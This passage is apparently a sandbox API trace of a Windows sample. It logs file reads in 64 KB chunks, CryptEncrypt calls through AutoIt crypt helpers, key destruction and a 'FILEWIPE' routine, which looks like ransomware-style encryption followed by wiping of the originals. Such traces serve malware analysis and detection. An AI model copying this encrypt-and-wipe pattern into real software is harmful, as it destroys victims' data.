wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.970] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.971] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.971] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.972] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xf0, lpOverlapped=0x0) returned 1 [0025.972] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.980] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.980] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.981] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.981] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.981] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.981] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064ad0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ad0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.981] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.981] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.981] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.981] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.982] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.982] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.982] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x100f0, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10100) returned 1 [0025.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.983] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.984] CharLowerBuffW (in: lpsz="byte[65793]", cchLength=0xb | out: lpsz="byte[65793]") returned 0xb [0025.984] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.989] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.989] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.989] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.990] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ab40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0025.991] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0025.991] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43aa330*, pdwDataLen=0xe8f3dfdf68*=0x100f0, dwBufLen=0x10100 | out: pbData=0xe8f43aa330*, pdwDataLen=0xe8f3dfdf68*=0x10100) returned 1 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.992] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.992] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.992] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.992] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.998] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.998] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.998] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.999] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.999] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.999] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.999] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.999] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.002] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.003] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.003] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.010] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.010] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.010] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.010] CharLowerBuffW (in: lpsz="byte[65776]", cchLength=0xb | out: lpsz="byte[65776]") returned 0xb [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.011] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.011] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.011] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 